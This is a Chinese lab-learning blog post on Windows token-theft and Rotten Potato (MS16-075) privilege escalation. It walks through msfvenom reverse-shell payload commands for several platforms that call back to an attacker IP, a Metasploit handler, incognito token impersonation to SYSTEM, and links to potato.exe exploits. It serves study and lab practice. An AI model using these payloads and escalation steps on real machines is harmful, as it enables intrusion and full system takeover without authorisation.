• Windows令牌窃取提权和烂土豆提权学习


    Windows令牌窃取提权和烂土豆提权学习

    令牌,又叫token,是系统临时产生的秘钥,相当于账号密码,用来决定是否允许此次请求和判断此次请求是属于哪一个用户。
    令牌无需提供密码或其他凭证,就可以访问网络和系统资源,这些令牌持续于系统中,除非系统重新启动。
    令牌的最大特点就是随机性,不可预测,无法猜解。

    当不同的用户登录计算机后,都会生成一个访问令牌,这个Token 在用户创建进程或线程时还会被使用,并不断进行拷贝,一般用户双击运行⼀个进程都会拷贝 explorer.exe 中 的 Access Token

    令牌的分类

    访问令牌(Access Token):表示访问控制操作主体的系统对象
    会话令牌(Session Token):是交互会话中唯一的身份标识符
    密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾

    Windows 的 AccessToken 有两种类型:

    Delegation Token:授权令牌,支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
    Impresonation Token:模拟令牌,支持非交互的会话 (例如使用 net use访问共享文件夹)。

    两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成Impersonation token,依旧有效。

    首先通过msf获取meterpreter会话,可能是普通用户权限。

    通过生成木马文件获取上线msf

    常用的 msfvenom生成shell的命令(IP和端口都可自行更改):
    Linux:

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf
    
    • 1

    Windows:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe > shell.exe
    
    • 1

    Bash:

    msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.1 LPORT=4444 -f raw > shell.sh
    
    • 1

    PHP

    msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=4444 On> -f raw > shell.php
    
    • 1

    ——
    我这里通过kali 生成,IP为这台kali的IP,生成完成后可在文件夹中可以找到。并把这个生成的后门文件放在目标win7内。
    请添加图片描述

    然后使用监听模块:

    use exploit/multi/handler

    设置payload,就是刚刚msfvenom生成shell中有的payload:windows/meterpreter/reverse_tcp

    set payload windows/meterpreter/reverse_tcp
    
    • 1

    show options查看设置选项,可以看到端口已经默认为4444
    请添加图片描述

    然后设置本地kali的IP为,即生成的shell中的IP。

    set lhost=192.168.43.125
    
    • 1

    run执行监听,并在此时win7上双击生成的那个后门文件shell.exe运行。
    就成功弹出meterpreter会话。并且此时的权限为用户权限。
    请添加图片描述

    ——
    ——

    尝试令牌窃取

    进入 令牌伪造工具incognito模块

    use incognito
    
    • 1

    查看到所有的用户令牌:

    list_tokens -u
    
    • 1

    请添加图片描述

    可以看到前面list_tokens -u列出了Delegation Token和Impresonation Token两种令牌

    如果是有其它令牌的话,使用该命令进行模拟:
    impersonate_token ‘其它权限令牌’
    如:impersonate_token 'NT AUTHORITY\SYSTEM'

    结果我这里没有可用令牌,我换了其它几个低版本操作系统winxp和sever2008也是一样只有一个现有的用户权限令牌。又猜测是不是其它用户没有登录未产生令牌,然后我登录过其它用户再尝试后还是没有其它权限令牌。

    后来发现是我因为在win7的主机上点击的,相当于只是得到了目标机器的用户权限。
    而这里是需要web权限(我也不知道为什么这里似乎展示的web权限比用户权限更高)
    所以我这里就把后门文件传到web根目录下,并利用蚁剑的虚拟终端进行执行。
    msf得到meterpreter会话,和上面的步骤是一样的,只是shell.exe执行的位置不一样。
    请添加图片描述

    然后我再进行操作,和前面一样。
    和前面的操作比,Delegation Token和Impresonation Token两种可用令牌都变多了,其中包含system权限的令牌。

    use incognito
    list_tokens -u
    impersonate_token 'NT AUTHORITY\SYSTEM'
    
    • 1
    • 2
    • 3

    请添加图片描述

    后面看了一些令牌窃取的文章,说list_tokens查找出来的令牌数量取决于meterpreter shell的访问级别,我们列举令牌,只能列举出当前用户和比当前用户权限更低的用户令牌。

    说到令牌窃取的一个降权使用场景,在通过内核漏洞等方式获取到system权限时, 假如我们利用 mimikatz 和 hashdump不能获得 administrator用户的密码,那我们只能通过令牌窃取进行降权,获得administrator用户的shell, 从而以administrator用户的身份启动某些服务(因为某些服务只能通过administrator用户启动)。

    请添加图片描述

    这些文章讲述的是单靠令牌窃取是无法提权的,而可以结合**“烂土豆 (Rotten Potato)”**进行提权。
    但其在演示令牌窃取结合烂土豆提权的时候,也是需要在webshell的权限基础上,那这就和我前面的演示相同了,似乎就不太需要烂土豆提权。

    对于这些问题还是需要有更多的研究与学习,现在的情况似乎存在一些矛盾。

    ——
    ——

    烂土豆提权结合令牌窃取

    提到了烂土豆提权的话,也对其进行学习了解一下。

    烂土豆(Rotten Potato) MS16-075提权是一个本地提权,只针对本地用户,不支持域用户

    原理:

    通过欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端;接着对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的;只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌
    (一般大多数的服务型账户,例如:IIS、MSSQL…具有该权限,大多数用户级别的账户没有该权限)

    RottonPatato 脚 本可以百度下载,这里列两个:
    https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe

    https://github.com/foxglovesec/RottenPotato

    前面已经提到,烂土豆提权需要具有“模仿安全令牌权限”。我们要先进行查看是否有这个权限

    查看是否具有Selmpersonate权限

    getprivs
    
    ##或者服务器的cmd下键入以下命令
    whoami /all
    whoami /priv
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在刚刚的webshell的权限下,可以看到是有这个权限的。
    请添加图片描述

    然后执行下载到的potato.exe文件:

    execute -cH -f potato.exe
    
    • 1

    …………这个列出的令牌似乎和前面的令牌窃取的情况是一样的。所以也不知道这个烂土豆提权具体什么情况。
    请添加图片描述

    再回到前面那个令牌窃取无法提权的情况,即在win7的主机上点击shell,得到的是用户权限。
    也没有Selmpersonate权限,无法进行令牌窃取提权,执行烂土豆potato.exe文件,也无法进行提权。
    请添加图片描述

    ——————————————————————————————————-
    ——————————————————————————————————
    ——————

    其它

    一开始还遇到win7无法执行 potato.exe 的文件,显示需要安装.NET Framework
    那就直接去百度下载.NET Framework吧,安装之后就可以了。
    https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=17718
    请添加图片描述

  • 相关阅读:
    普冉PY32系列(五) 使用JLink RTT代替串口输出日志
    JDBC原生代码
    【车载开发系列】ECU Application Software程序刷新步骤
    实现一个深克隆
    vue开发-零基础从源码开始解读一个智慧园区项目
    大型企业——伙伴云,为什么会选择Baklib帮助中心?
    Linux常用命令
    《java练级之路》之继承!!!
    图像处理之Bolb分析(一)
    基于Ambari下的大数据架构设计
  • 原文地址:https://blog.csdn.net/Goodric/article/details/125959486